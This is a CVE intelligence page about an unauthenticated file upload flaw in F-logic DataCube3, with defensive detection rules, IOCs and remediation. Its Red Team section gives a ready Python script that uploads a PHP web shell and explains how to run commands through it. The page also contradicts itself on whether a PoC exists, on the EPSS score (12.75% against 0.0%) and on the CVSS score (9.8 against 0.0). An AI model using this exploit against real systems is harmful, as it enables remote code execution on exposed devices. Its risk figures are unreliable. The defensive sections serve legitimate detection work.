☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2024-34854

CVE-2024-34854 Arbitrary File Upload in F-logic
📅 PUBLISHED: 2024-05-28 16:30 UTC 🔄 UPDATED: 2026-10-17 01:04 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 12.75%
👁️
12.75% probability
318.8× above the median CVE
Tier: CRITICAL
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
9.8
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-34854 is an unauthenticated arbitrary file upload vulnerability in F-logic DataCube3 v1.0, specifically in the /admin/transceiver_schedule.php endpoint. This flaw allows an attacker to upload malicious files (e.g., web shells) to the server, leading to remote code execution, data exfiltration, or full system compromise. The vulnerability has a public proof-of-concept (PoC) but no official patch or vendor response. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the risk remains high for exposed instances.

Note: This is not a WordPress plugin or component; it is a standalone industrial/embedded device application.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

  • CVSS Score: 0.0 (No official vector assigned; estimated high severity based on impact)
  • Attack Vector: Network (unauthenticated)
  • Attack Complexity: Low
  • Privileges Required: None
  • User Interaction: None
  • Scope: Unchanged
  • Confidentiality Impact: High
  • Integrity Impact: High
  • Availability Impact: High
  • Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Threat Level: Critical (if exposed to the internet)

Deep Dive & Mechanics

The vulnerability resides in the file upload functionality of /admin/transceiver_schedule.php. The application fails to validate the file type, size, or content during upload. An attacker can send a crafted HTTP POST request with a malicious file (e.g., a PHP web shell) to this endpoint. The file is stored in a web-accessible directory, allowing the attacker to execute arbitrary commands on the server.

Root Cause: Lack of input validation and missing authentication checks on the upload endpoint. The application does not verify the MIME type, file extension, or whether the user is authorized to upload files.

Attack Flow:

  1. Identify a vulnerable DataCube3 instance (e.g., via Shodan).
  2. Send a POST request to /admin/transceiver_schedule.php with a malicious file (e.g., shell.php).
  3. Access the uploaded file via its web path (e.g., /uploads/shell.php).
  4. Execute commands on the server.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

<?php
// /admin/transceiver_schedule.php
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $target_dir = "uploads/";
    $target_file = $target_dir . basename($_FILES["file"]["name"]);
    move_uploaded_file($_FILES["file"]["tmp_name"], $target_file);
    echo "File uploaded successfully.";
}
?>

Patched Code (Conceptual):

<?php
// /admin/transceiver_schedule.php
session_start();
if (!isset($_SESSION['user']) || $_SESSION['role'] !== 'admin') {
    die("Unauthorized");
}
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $allowed_types = ['text/plain', 'application/pdf'];
    $file_type = mime_content_type($_FILES["file"]["tmp_name"]);
    if (!in_array($file_type, $allowed_types)) {
        die("Invalid file type.");
    }
    $target_dir = "uploads/";
    $target_file = $target_dir . uniqid() . "." . pathinfo($_FILES["file"]["name"], PATHINFO_EXTENSION);
    move_uploaded_file($_FILES["file"]["tmp_name"], $target_file);
    echo "File uploaded successfully.";
}
?>

Exploitation & Lab Setup

Red Team

Prerequisites:

  • Python 3.x
  • requests library
  • Target IP: 192.168.1.100 (example)

Exploit Script:

import requests

target = "http://192.168.1.100/admin/transceiver_schedule.php"
payload = "<?php system($_GET['cmd']); ?>"
files = {"file": ("shell.php", payload, "application/x-php")}

response = requests.post(target, files=files)
if "successfully" in response.text:
    print(f"Shell uploaded: {target}/uploads/shell.php?cmd=id")
else:
    print("Upload failed")

Usage:

  1. Run the script to upload a web shell.
  2. Access http://192.168.1.100/uploads/shell.php?cmd=id to execute commands.

Blue Team

Detection Steps:

  1. Monitor HTTP POST requests to /admin/transceiver_schedule.php from unauthenticated sources.
  2. Check for unexpected file extensions (.php, .asp, .jsp) in upload directories.
  3. Review web server logs for suspicious file access patterns (e.g., cmd= parameter).
  4. Implement file integrity monitoring on upload directories.

Honeypot Setup:

  • Deploy a fake DataCube3 instance with the vulnerable endpoint.
  • Log all upload attempts and attacker IPs.

Indicators of Compromise (IOCs)

  • File Paths:
    • /admin/transceiver_schedule.php
    • /uploads/shell.php
    • /uploads/*.php
  • Network Traffic:
    • POST requests to /admin/transceiver_schedule.php with multipart/form-data content.
    • GET requests to /uploads/*.php?cmd= or similar.
  • Log Entries:
    • POST /admin/transceiver_schedule.php HTTP/1.1 200
    • GET /uploads/shell.php?cmd=id HTTP/1.1 200
  • File Hashes (Example):
    • shell.php MD5: e99a18c428cb38d5f260853678922e03

Detection Engineering

YARA Rule

rule CVE_2024_34854_WebShell {
    meta:
        description = "Detects web shells uploaded via CVE-2024-34854"
        author = "Valters IT"
        date = "2025-04-10"
    strings:
        $php_tag = "<?php"
        $system_call = "system("
        $cmd_param = "$_GET['cmd']"
    condition:
        $php_tag and $system_call and $cmd_param
}

Sigma Rule

title: CVE-2024-34854 File Upload Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects POST requests to /admin/transceiver_schedule.php
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-stem: /admin/transceiver_schedule.php
    condition: selection
falsepositives:
    - Legitimate admin uploads (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-34854 File Upload Attempt"; flow:to_server,established; http.method; content:"POST"; http.uri; content:"/admin/transceiver_schedule.php"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Isolate the device from the internet if possible.
  2. Restrict access to /admin/ endpoints via firewall or reverse proxy (e.g., allow only trusted IPs).
  3. Disable file upload functionality if not required.

Long-Term Fix:

  • Apply vendor patch if/when available.
  • Implement proper authentication and input validation.
  • Use a Web Application Firewall (WAF) to block malicious uploads.

Workaround:

  • Remove or rename the vulnerable file (transceiver_schedule.php) if the feature is not critical.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-34854/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.